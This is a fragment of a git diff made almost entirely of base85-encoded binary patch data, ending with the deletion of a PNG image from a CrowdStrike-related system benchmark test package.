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
R*{{F=1fH&bF6*2UngF)iYgqsQ

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-falcon1.png
deleted file mode 100644
index 38d8b6b7ca5305278b15716ddd8532d9cb188b2e..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 216782
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
